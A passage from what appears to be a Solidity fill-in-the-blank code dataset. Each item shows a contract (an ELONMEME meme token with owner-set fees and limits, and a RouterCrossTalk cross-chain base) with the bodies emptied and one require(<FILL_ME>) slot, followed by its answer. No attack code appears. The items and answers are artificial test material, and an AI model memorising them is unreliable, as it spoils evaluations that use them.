* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(
uint256 a,
uint256 b
) internal pure returns (bool, uint256) {
}
/**
* @dev Returns the subtraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(
uint256 a,
uint256 b
) internal pure returns (bool, uint256) {
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(
uint256 a,
uint256 b
) internal pure returns (bool, uint256) {
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(
uint256 a,
uint256 b
) internal pure returns (bool, uint256) {
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(
uint256 a,
uint256 b
) internal pure returns (bool, uint256) {
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
}
pragma solidity ^0.8.0;
contract ELONMEME is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public immutable uniswapV2Router;
address public uniswapV2Pair;
address public router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
bool private swapping;
address private operationsWallet;
uint256 public maxTransaction;
uint256 public swapTokensAtAmount;
uint256 public maxWallet;
bool public limitsInEffect = true;
bool public tradingActive = false;
bool public swapEnabled = false;
mapping(address => uint256) private _holderLastTransferBlock;
bool public transferDelayEnabled = true;
uint256 public buyFees;
uint256 public sellFees;
uint256 private _maxSwapableTokens;
uint256 public _preventSwapBefore = 10;
uint256 public _removeLimitsAt = 10;
uint256 public _totalBuys = 0;
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) public _isExcludedmaxTransaction;
mapping(address => bool) public automatedMarketMakerPairs;
event UpdateUniswapV2Router(address indexed newAddress,address indexed oldAddress);
event SwapAndLiquify(uint256 tokensSwapped,uint256 ethReceived,uint256 tokensIntoLiquidity);
event setOperationsWalletUpdated(address indexed newOperationsWallet);
event setExcludeFromFeesUpdate(address indexed account, bool newStatus);
event setAutomatedMarketMakerPairUpdate(address indexed pair, bool indexed value);
event setSwapTokensAtAmountUpdate(uint256 newTokenAmount);
event setMaxTransactionUpdate(uint256 newTokenAmount);
event setMaxWalletUpdate(uint256 newTokenAmount);
event setExcludeFromMaxTransactionUpdate(address newAddress, bool newStatus);
event setUpdateSwapEnabledUpdate(bool newStatus);
event setBuyFeeUpdated(uint256 newOperationsFee);
event setSellFeeUpdated(uint256 newOperationsFee);
constructor(address _operationsWallet) ERC20("ELONMEME", "ELONMEME", 9) {
}
receive() external payable {}
function openTrading() external payable onlyOwner() {
}
function removeLimits() internal returns (bool) {
}
function disableLimits(bool tValue, bool lValue) external onlyOwner {
}
function disableTransferDelay() external onlyOwner returns (bool) {
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
}
function isExcludedFromFees(address account) public view returns (bool) {
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
}
function min(uint256 a, uint256 b) private pure returns (uint256) {
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function swapBack(uint256 amount) private {
}
// ADMIN
function setAutomatedMarketMakerPair(address pair, bool newStatus) public onlyOwner {
}
function setSwapTokensAtAmount(uint256 newTokenAmount) external onlyOwner returns (bool) {
require(
newTokenAmount >= (totalSupply() * 1) / 100_000,
"Swap amount cannot be lower than 0.001% total supply."
);
require(<FILL_ME>)
swapTokensAtAmount = newTokenAmount;
emit setSwapTokensAtAmountUpdate(newTokenAmount);
return true;
}
function setMaxTransaction(uint256 newTokenAmount) external onlyOwner {
}
function setMaxWallet(uint256 newTokenAmount) external onlyOwner {
}
function setExcludeFromMaxTransaction(address newAddress, bool newStatus) public onlyOwner {
}
function setUpdateSwapEnabled(bool newStatus) external onlyOwner {
}
function setBuyFee(uint256 newOperationsFee) external onlyOwner {
}
function setSellFee(uint256 newOperationsFee) external onlyOwner {
}
function setExcludeFromFees(address account, bool newStatus) public onlyOwner {
}
function setOperationsWallet(address newOperationsWallet) external onlyOwner {
}
}
| newTokenAmount<=(totalSupply()*100)/10_000,"Swap amount cannot be higher than 1% total supply." | 243,349 | newTokenAmount<=(totalSupply()*100)/10_000 |
"Cannot set maxTransaction lower than 0.1%" | // OpenZeppelin Contracts (last updated v4.9.0) (utils/math/SafeMath.sol)
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(
uint256 a,
uint256 b
) internal pure returns (bool, uint256) {
}
/**
* @dev Returns the subtraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(
uint256 a,
uint256 b
) internal pure returns (bool, uint256) {
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(
uint256 a,
uint256 b
) internal pure returns (bool, uint256) {
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(
uint256 a,
uint256 b
) internal pure returns (bool, uint256) {
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(
uint256 a,
uint256 b
) internal pure returns (bool, uint256) {
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
}
pragma solidity ^0.8.0;
contract ELONMEME is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public immutable uniswapV2Router;
address public uniswapV2Pair;
address public router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
bool private swapping;
address private operationsWallet;
uint256 public maxTransaction;
uint256 public swapTokensAtAmount;
uint256 public maxWallet;
bool public limitsInEffect = true;
bool public tradingActive = false;
bool public swapEnabled = false;
mapping(address => uint256) private _holderLastTransferBlock;
bool public transferDelayEnabled = true;
uint256 public buyFees;
uint256 public sellFees;
uint256 private _maxSwapableTokens;
uint256 public _preventSwapBefore = 10;
uint256 public _removeLimitsAt = 10;
uint256 public _totalBuys = 0;
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) public _isExcludedmaxTransaction;
mapping(address => bool) public automatedMarketMakerPairs;
event UpdateUniswapV2Router(address indexed newAddress,address indexed oldAddress);
event SwapAndLiquify(uint256 tokensSwapped,uint256 ethReceived,uint256 tokensIntoLiquidity);
event setOperationsWalletUpdated(address indexed newOperationsWallet);
event setExcludeFromFeesUpdate(address indexed account, bool newStatus);
event setAutomatedMarketMakerPairUpdate(address indexed pair, bool indexed value);
event setSwapTokensAtAmountUpdate(uint256 newTokenAmount);
event setMaxTransactionUpdate(uint256 newTokenAmount);
event setMaxWalletUpdate(uint256 newTokenAmount);
event setExcludeFromMaxTransactionUpdate(address newAddress, bool newStatus);
event setUpdateSwapEnabledUpdate(bool newStatus);
event setBuyFeeUpdated(uint256 newOperationsFee);
event setSellFeeUpdated(uint256 newOperationsFee);
constructor(address _operationsWallet) ERC20("ELONMEME", "ELONMEME", 9) {
}
receive() external payable {}
function openTrading() external payable onlyOwner() {
}
function removeLimits() internal returns (bool) {
}
function disableLimits(bool tValue, bool lValue) external onlyOwner {
}
function disableTransferDelay() external onlyOwner returns (bool) {
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
}
function isExcludedFromFees(address account) public view returns (bool) {
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
}
function min(uint256 a, uint256 b) private pure returns (uint256) {
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function swapBack(uint256 amount) private {
}
// ADMIN
function setAutomatedMarketMakerPair(address pair, bool newStatus) public onlyOwner {
}
function setSwapTokensAtAmount(uint256 newTokenAmount) external onlyOwner returns (bool) {
}
function setMaxTransaction(uint256 newTokenAmount) external onlyOwner {
require(<FILL_ME>)
maxTransaction = newTokenAmount * (10 ** decimals());
emit setMaxTransactionUpdate(newTokenAmount);
}
function setMaxWallet(uint256 newTokenAmount) external onlyOwner {
}
function setExcludeFromMaxTransaction(address newAddress, bool newStatus) public onlyOwner {
}
function setUpdateSwapEnabled(bool newStatus) external onlyOwner {
}
function setBuyFee(uint256 newOperationsFee) external onlyOwner {
}
function setSellFee(uint256 newOperationsFee) external onlyOwner {
}
function setExcludeFromFees(address account, bool newStatus) public onlyOwner {
}
function setOperationsWallet(address newOperationsWallet) external onlyOwner {
}
}
| newTokenAmount>=((totalSupply()*10)/10_000),"Cannot set maxTransaction lower than 0.1%" | 243,349 | newTokenAmount>=((totalSupply()*10)/10_000) |
"Cannot set maxWallet lower than 0.5%" | // OpenZeppelin Contracts (last updated v4.9.0) (utils/math/SafeMath.sol)
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(
uint256 a,
uint256 b
) internal pure returns (bool, uint256) {
}
/**
* @dev Returns the subtraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(
uint256 a,
uint256 b
) internal pure returns (bool, uint256) {
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(
uint256 a,
uint256 b
) internal pure returns (bool, uint256) {
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(
uint256 a,
uint256 b
) internal pure returns (bool, uint256) {
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(
uint256 a,
uint256 b
) internal pure returns (bool, uint256) {
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
}
pragma solidity ^0.8.0;
contract ELONMEME is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public immutable uniswapV2Router;
address public uniswapV2Pair;
address public router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
bool private swapping;
address private operationsWallet;
uint256 public maxTransaction;
uint256 public swapTokensAtAmount;
uint256 public maxWallet;
bool public limitsInEffect = true;
bool public tradingActive = false;
bool public swapEnabled = false;
mapping(address => uint256) private _holderLastTransferBlock;
bool public transferDelayEnabled = true;
uint256 public buyFees;
uint256 public sellFees;
uint256 private _maxSwapableTokens;
uint256 public _preventSwapBefore = 10;
uint256 public _removeLimitsAt = 10;
uint256 public _totalBuys = 0;
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) public _isExcludedmaxTransaction;
mapping(address => bool) public automatedMarketMakerPairs;
event UpdateUniswapV2Router(address indexed newAddress,address indexed oldAddress);
event SwapAndLiquify(uint256 tokensSwapped,uint256 ethReceived,uint256 tokensIntoLiquidity);
event setOperationsWalletUpdated(address indexed newOperationsWallet);
event setExcludeFromFeesUpdate(address indexed account, bool newStatus);
event setAutomatedMarketMakerPairUpdate(address indexed pair, bool indexed value);
event setSwapTokensAtAmountUpdate(uint256 newTokenAmount);
event setMaxTransactionUpdate(uint256 newTokenAmount);
event setMaxWalletUpdate(uint256 newTokenAmount);
event setExcludeFromMaxTransactionUpdate(address newAddress, bool newStatus);
event setUpdateSwapEnabledUpdate(bool newStatus);
event setBuyFeeUpdated(uint256 newOperationsFee);
event setSellFeeUpdated(uint256 newOperationsFee);
constructor(address _operationsWallet) ERC20("ELONMEME", "ELONMEME", 9) {
}
receive() external payable {}
function openTrading() external payable onlyOwner() {
}
function removeLimits() internal returns (bool) {
}
function disableLimits(bool tValue, bool lValue) external onlyOwner {
}
function disableTransferDelay() external onlyOwner returns (bool) {
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
}
function isExcludedFromFees(address account) public view returns (bool) {
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
}
function min(uint256 a, uint256 b) private pure returns (uint256) {
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function swapBack(uint256 amount) private {
}
// ADMIN
function setAutomatedMarketMakerPair(address pair, bool newStatus) public onlyOwner {
}
function setSwapTokensAtAmount(uint256 newTokenAmount) external onlyOwner returns (bool) {
}
function setMaxTransaction(uint256 newTokenAmount) external onlyOwner {
}
function setMaxWallet(uint256 newTokenAmount) external onlyOwner {
require(<FILL_ME>)
maxWallet = newTokenAmount * (10 ** decimals());
emit setMaxWalletUpdate(newTokenAmount);
}
function setExcludeFromMaxTransaction(address newAddress, bool newStatus) public onlyOwner {
}
function setUpdateSwapEnabled(bool newStatus) external onlyOwner {
}
function setBuyFee(uint256 newOperationsFee) external onlyOwner {
}
function setSellFee(uint256 newOperationsFee) external onlyOwner {
}
function setExcludeFromFees(address account, bool newStatus) public onlyOwner {
}
function setOperationsWallet(address newOperationsWallet) external onlyOwner {
}
}
| newTokenAmount>=((totalSupply()*50)/10_000),"Cannot set maxWallet lower than 0.5%" | 243,349 | newTokenAmount>=((totalSupply()*50)/10_000) |
"RouterCrossTalk : Only GenericHandler can call this function" | pragma solidity ^0.8.0;
abstract contract RouterCrossTalk is Context, iRouterCrossTalk, ERC165 {
using SafeERC20 for IERC20;
iGenericHandler private handler;
address private linkSetter;
address private feeToken;
mapping(uint8 => address) private Chain2Addr; // CHain ID to Address
mapping(bytes32 => ExecutesStruct) private executes;
modifier isHandler() {
require(<FILL_ME>)
_;
}
modifier isLinkUnSet(uint8 _chainID) {
}
modifier isLinkSet(uint8 _chainID) {
}
modifier isLinkSync(uint8 _srcChainID, address _srcAddress) {
}
modifier isSelf() {
}
constructor(address _handler) {
}
/// @notice Used to set linker address, this function is internal and can only be set by contract owner or admins
/// @param _addr Address of linker.
function setLink(address _addr) internal {
}
/// @notice Used to set fee Token address, this function is internal and can only be set by contract owner or admins
/// @param _addr Address of linker.
function setFeeToken(address _addr) internal {
}
function fetchHandler() external view override returns (address) {
}
function fetchLinkSetter() external view override returns (address) {
}
function fetchLink(uint8 _chainID)
external
view
override
returns (address)
{
}
function fetchFeeToken() external view override returns (address) {
}
function fetchExecutes(bytes32 hash)
external
view
override
returns (ExecutesStruct memory)
{
}
/// @notice routerSend This is internal function to generate a cross chain communication request.
/// @param destChainId Destination ChainID.
/// @param _selector Selector to interface on destination side.
/// @param _data Data to be sent on Destination side.
/// @param _gasLimit Gas limit provided for cross chain send.
/// @param _gasPrice Gas price provided for cross chain send.
function routerSend(
uint8 destChainId,
bytes4 _selector,
bytes memory _data,
uint256 _gasLimit,
uint256 _gasPrice
) internal isLinkSet(destChainId) returns (bool) {
}
function emitCrossTalkSendEvent(
uint8 destChainId,
bytes4 selector,
bytes memory data,
bytes32 hash
) private {
}
function routerSync(
uint8 srcChainID,
address srcAddress,
bytes memory data
)
external
override
isLinkSync(srcChainID, srcAddress)
isHandler
returns (bool, bytes memory)
{
}
function routerReplay(
bytes32 hash,
uint256 _gasLimit,
uint256 _gasPrice
) internal {
}
/// @notice _hash This is internal function to generate the hash of all data sent or received by the contract.
/// @param _destChainId Source ChainID.
/// @param _nonce Nonce.
function _hash(uint8 _destChainId, uint64 _nonce)
internal
pure
returns (bytes32)
{
}
function Link(uint8 _chainID, address _linkedContract)
external
override
isHandler
isLinkUnSet(_chainID)
{
}
function Unlink(uint8 _chainID)
external
override
isHandler
isLinkSet(_chainID)
{
}
function approveFees(address _feeToken, uint256 _value) internal {
}
/// @notice _routerSyncHandler This is internal function to control the handling of various selectors and its corresponding .
/// @param _selector Selector to interface.
/// @param _data Data to be handled.
function _routerSyncHandler(bytes4 _selector, bytes memory _data)
internal
virtual
returns (bool, bytes memory);
}
| _msgSender()==address(handler),"RouterCrossTalk : Only GenericHandler can call this function" | 243,360 | _msgSender()==address(handler) |
"RouterCrossTalk : Cross Chain Contract to Chain ID already set" | pragma solidity ^0.8.0;
abstract contract RouterCrossTalk is Context, iRouterCrossTalk, ERC165 {
using SafeERC20 for IERC20;
iGenericHandler private handler;
address private linkSetter;
address private feeToken;
mapping(uint8 => address) private Chain2Addr; // CHain ID to Address
mapping(bytes32 => ExecutesStruct) private executes;
modifier isHandler() {
}
modifier isLinkUnSet(uint8 _chainID) {
require(<FILL_ME>)
_;
}
modifier isLinkSet(uint8 _chainID) {
}
modifier isLinkSync(uint8 _srcChainID, address _srcAddress) {
}
modifier isSelf() {
}
constructor(address _handler) {
}
/// @notice Used to set linker address, this function is internal and can only be set by contract owner or admins
/// @param _addr Address of linker.
function setLink(address _addr) internal {
}
/// @notice Used to set fee Token address, this function is internal and can only be set by contract owner or admins
/// @param _addr Address of linker.
function setFeeToken(address _addr) internal {
}
function fetchHandler() external view override returns (address) {
}
function fetchLinkSetter() external view override returns (address) {
}
function fetchLink(uint8 _chainID)
external
view
override
returns (address)
{
}
function fetchFeeToken() external view override returns (address) {
}
function fetchExecutes(bytes32 hash)
external
view
override
returns (ExecutesStruct memory)
{
}
/// @notice routerSend This is internal function to generate a cross chain communication request.
/// @param destChainId Destination ChainID.
/// @param _selector Selector to interface on destination side.
/// @param _data Data to be sent on Destination side.
/// @param _gasLimit Gas limit provided for cross chain send.
/// @param _gasPrice Gas price provided for cross chain send.
function routerSend(
uint8 destChainId,
bytes4 _selector,
bytes memory _data,
uint256 _gasLimit,
uint256 _gasPrice
) internal isLinkSet(destChainId) returns (bool) {
}
function emitCrossTalkSendEvent(
uint8 destChainId,
bytes4 selector,
bytes memory data,
bytes32 hash
) private {
}
function routerSync(
uint8 srcChainID,
address srcAddress,
bytes memory data
)
external
override
isLinkSync(srcChainID, srcAddress)
isHandler
returns (bool, bytes memory)
{
}
function routerReplay(
bytes32 hash,
uint256 _gasLimit,
uint256 _gasPrice
) internal {
}
/// @notice _hash This is internal function to generate the hash of all data sent or received by the contract.
/// @param _destChainId Source ChainID.
/// @param _nonce Nonce.
function _hash(uint8 _destChainId, uint64 _nonce)
internal
pure
returns (bytes32)
{
}
function Link(uint8 _chainID, address _linkedContract)
external
override
isHandler
isLinkUnSet(_chainID)
{
}
function Unlink(uint8 _chainID)
external
override
isHandler
isLinkSet(_chainID)
{
}
function approveFees(address _feeToken, uint256 _value) internal {
}
/// @notice _routerSyncHandler This is internal function to control the handling of various selectors and its corresponding .
/// @param _selector Selector to interface.
/// @param _data Data to be handled.
function _routerSyncHandler(bytes4 _selector, bytes memory _data)
internal
virtual
returns (bool, bytes memory);
}
| Chain2Addr[_chainID]==address(0),"RouterCrossTalk : Cross Chain Contract to Chain ID already set" | 243,360 | Chain2Addr[_chainID]==address(0) |
"RouterCrossTalk : Cross Chain Contract to Chain ID not set" | pragma solidity ^0.8.0;
abstract contract RouterCrossTalk is Context, iRouterCrossTalk, ERC165 {
using SafeERC20 for IERC20;
iGenericHandler private handler;
address private linkSetter;
address private feeToken;
mapping(uint8 => address) private Chain2Addr; // CHain ID to Address
mapping(bytes32 => ExecutesStruct) private executes;
modifier isHandler() {
}
modifier isLinkUnSet(uint8 _chainID) {
}
modifier isLinkSet(uint8 _chainID) {
require(<FILL_ME>)
_;
}
modifier isLinkSync(uint8 _srcChainID, address _srcAddress) {
}
modifier isSelf() {
}
constructor(address _handler) {
}
/// @notice Used to set linker address, this function is internal and can only be set by contract owner or admins
/// @param _addr Address of linker.
function setLink(address _addr) internal {
}
/// @notice Used to set fee Token address, this function is internal and can only be set by contract owner or admins
/// @param _addr Address of linker.
function setFeeToken(address _addr) internal {
}
function fetchHandler() external view override returns (address) {
}
function fetchLinkSetter() external view override returns (address) {
}
function fetchLink(uint8 _chainID)
external
view
override
returns (address)
{
}
function fetchFeeToken() external view override returns (address) {
}
function fetchExecutes(bytes32 hash)
external
view
override
returns (ExecutesStruct memory)
{
}
/// @notice routerSend This is internal function to generate a cross chain communication request.
/// @param destChainId Destination ChainID.
/// @param _selector Selector to interface on destination side.
/// @param _data Data to be sent on Destination side.
/// @param _gasLimit Gas limit provided for cross chain send.
/// @param _gasPrice Gas price provided for cross chain send.
function routerSend(
uint8 destChainId,
bytes4 _selector,
bytes memory _data,
uint256 _gasLimit,
uint256 _gasPrice
) internal isLinkSet(destChainId) returns (bool) {
}
function emitCrossTalkSendEvent(
uint8 destChainId,
bytes4 selector,
bytes memory data,
bytes32 hash
) private {
}
function routerSync(
uint8 srcChainID,
address srcAddress,
bytes memory data
)
external
override
isLinkSync(srcChainID, srcAddress)
isHandler
returns (bool, bytes memory)
{
}
function routerReplay(
bytes32 hash,
uint256 _gasLimit,
uint256 _gasPrice
) internal {
}
/// @notice _hash This is internal function to generate the hash of all data sent or received by the contract.
/// @param _destChainId Source ChainID.
/// @param _nonce Nonce.
function _hash(uint8 _destChainId, uint64 _nonce)
internal
pure
returns (bytes32)
{
}
function Link(uint8 _chainID, address _linkedContract)
external
override
isHandler
isLinkUnSet(_chainID)
{
}
function Unlink(uint8 _chainID)
external
override
isHandler
isLinkSet(_chainID)
{
}
function approveFees(address _feeToken, uint256 _value) internal {
}
/// @notice _routerSyncHandler This is internal function to control the handling of various selectors and its corresponding .
/// @param _selector Selector to interface.
/// @param _data Data to be handled.
function _routerSyncHandler(bytes4 _selector, bytes memory _data)
internal
virtual
returns (bool, bytes memory);
}
| Chain2Addr[_chainID]!=address(0),"RouterCrossTalk : Cross Chain Contract to Chain ID not set" | 243,360 | Chain2Addr[_chainID]!=address(0) |
"RouterCrossTalk : Source Address Not linked" | pragma solidity ^0.8.0;
abstract contract RouterCrossTalk is Context, iRouterCrossTalk, ERC165 {
using SafeERC20 for IERC20;
iGenericHandler private handler;
address private linkSetter;
address private feeToken;
mapping(uint8 => address) private Chain2Addr; // CHain ID to Address
mapping(bytes32 => ExecutesStruct) private executes;
